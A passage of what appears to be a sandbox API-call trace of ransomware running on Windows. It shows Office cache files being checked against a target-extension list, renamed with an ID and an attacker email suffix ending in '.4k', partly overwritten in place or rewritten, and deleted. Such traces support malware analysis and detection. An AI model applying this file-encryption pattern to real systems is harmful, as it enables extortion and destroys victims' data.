	[0099.664] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.664] lstrlenW (lpString=".jpg") returned 4
	[0099.664] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.665] lstrlenW (lpString=".doc") returned 4
	[0099.665] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString=".docx") returned 5
	[0099.665] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0099.665] lstrlenW (lpString=".pdf") returned 4
	[0099.665] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString=".xls") returned 4
	[0099.665] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString=".xlsx") returned 5
	[0099.665] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0099.665] lstrlenW (lpString=".ppt") returned 4
	[0099.665] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.665] lstrlenW (lpString=".zip") returned 4
	[0099.665] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString=".rar") returned 4
	[0099.665] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString=".bz2") returned 4
	[0099.665] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.665] lstrlenW (lpString=".7z") returned 3
	[0099.665] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.665] lstrlenW (lpString=".dbf") returned 4
	[0099.665] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.665] lstrlenW (lpString=".1cd") returned 4
	[0099.666] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.666] lstrlenW (lpString=".jpg") returned 4
	[0099.666] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.666] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0099.666] lstrlenW (lpString="GrooveLR.cab") returned 12
	[0099.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0099.666] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=4095519) returned 1
	[0099.666] CloseHandle (hObject=0x1ac) returned 1
	[0099.666] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020
	[0099.666] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.667] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.667] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0099.667] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.667] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.667] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.171] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.171] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.249] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.249] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.249] ReadFile (in: hFile=0x1ac, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.297] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.297] WriteFile (in: hFile=0x1ac, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0100.641] SetEndOfFile (hFile=0x1ac) returned 1
	[0100.641] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0100.668] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.668] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.670] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.670] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.672] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.672] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.692] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0100.692] CloseHandle (hObject=0x1ac) returned 1
	[0100.693] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.693] lstrlenW (lpString=".doc") returned 4
	[0100.693] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0100.693] lstrlenW (lpString=".docx") returned 5
	[0100.693] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0100.693] lstrlenW (lpString=".pdf") returned 4
	[0100.693] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0100.693] lstrlenW (lpString=".xls") returned 4
	[0100.693] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0100.693] lstrlenW (lpString=".xlsx") returned 5
	[0100.693] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0100.693] lstrlenW (lpString=".ppt") returned 4
	[0100.693] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0100.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.693] lstrlenW (lpString=".zip") returned 4
	[0100.694] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString=".rar") returned 4
	[0100.694] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString=".bz2") returned 4
	[0100.694] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0100.694] lstrlenW (lpString=".7z") returned 3
	[0100.694] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0100.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.694] lstrlenW (lpString=".dbf") returned 4
	[0100.694] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.694] lstrlenW (lpString=".1cd") returned 4
	[0100.694] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0100.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.694] lstrlenW (lpString=".jpg") returned 4
	[0100.694] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.694] lstrlenW (lpString=".doc") returned 4
	[0100.694] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString=".docx") returned 5
	[0100.694] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0100.694] lstrlenW (lpString=".pdf") returned 4
	[0100.694] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString=".xls") returned 4
	[0100.694] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0100.694] lstrlenW (lpString=".xlsx") returned 5
	[0100.695] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0100.695] lstrlenW (lpString=".ppt") returned 4
	[0100.695] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0100.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.695] lstrlenW (lpString=".zip") returned 4
	[0100.695] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0100.695] lstrlenW (lpString=".rar") returned 4
	[0100.695] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0100.695] lstrlenW (lpString=".bz2") returned 4
	[0100.695] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0100.695] lstrlenW (lpString=".7z") returned 3
	[0100.695] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0100.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.695] lstrlenW (lpString=".dbf") returned 4
	[0100.695] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0100.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.695] lstrlenW (lpString=".1cd") returned 4
	[0100.695] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0100.695] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75
	[0100.695] lstrlenW (lpString=".jpg") returned 4
	[0100.695] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0100.695] lstrcmpiW (lpString1=".manifest", lpString2=".4k") returned 1
	[0100.695] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27
	[0100.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.705] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=1857) returned 1
	[0100.706] CloseHandle (hObject=0x208) returned 1
	[0100.706] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020
	[0100.706] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.706] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.706] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.884] GetLastError () returned 0x0
	[0100.884] ReadFile (in: hFile=0x208, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x336fed4*=0x741, lpOverlapped=0x0) returned 1
	[0100.928] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fc9c*=0x750, lpOverlapped=0x0) returned 1
	[0100.929] ReadFile (in: hFile=0x208, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.929] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fc9c*=0x10a, lpOverlapped=0x0) returned 1
	[0100.930] SetEndOfFile (hFile=0x1fc) returned 1
	[0100.930] CloseHandle (hObject=0x1fc) returned 1
	[0100.930] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.930] SetEndOfFile (hFile=0x208) returned 1
	[0100.931] CloseHandle (hObject=0x208) returned 1
	[0100.931] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.931] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1
	[0100.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.932] lstrlenW (lpString=".doc") returned 4
	[0100.932] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString=".docx") returned 5
	[0100.932] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0100.932] lstrlenW (lpString=".pdf") returned 4
	[0100.932] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString=".xls") returned 4
	[0100.932] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString=".xlsx") returned 5
	[0100.932] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0100.932] lstrlenW (lpString=".ppt") returned 4
	[0100.932] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.932] lstrlenW (lpString=".zip") returned 4
	[0100.932] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString=".rar") returned 4
	[0100.932] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString=".bz2") returned 4
	[0100.932] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString=".7z") returned 3
	[0100.932] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0100.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.932] lstrlenW (lpString=".dbf") returned 4
	[0100.932] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0100.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.932] lstrlenW (lpString=".1cd") returned 4
	[0100.933] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.933] lstrlenW (lpString=".jpg") returned 4
	[0100.933] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.933] lstrlenW (lpString=".doc") returned 4
	[0100.933] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString=".docx") returned 5
	[0100.933] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0100.933] lstrlenW (lpString=".pdf") returned 4
	[0100.933] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString=".xls") returned 4
	[0100.933] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString=".xlsx") returned 5
	[0100.933] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0100.933] lstrlenW (lpString=".ppt") returned 4
	[0100.933] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.933] lstrlenW (lpString=".zip") returned 4
	[0100.933] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString=".rar") returned 4
	[0100.933] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString=".bz2") returned 4
	[0100.933] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0100.933] lstrlenW (lpString=".7z") returned 3
	[0100.933] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0100.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.934] lstrlenW (lpString=".dbf") returned 4
	[0100.934] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0100.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.934] lstrlenW (lpString=".1cd") returned 4
	[0100.934] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0100.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90
	[0100.934] lstrlenW (lpString=".jpg") returned 4
	[0100.934] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0100.934] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0100.934] lstrlenW (lpString="OfficeMUI.msi") returned 13
	[0100.934] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.934] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3702272) returned 1
	[0100.935] CloseHandle (hObject=0x208) returned 1
	[0100.935] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020
	[0100.935] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.935] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0100.935] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.935] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0100.936] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0100.936] ReadFile (in: hFile=0x208, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.011] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.011] ReadFile (in: hFile=0x208, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
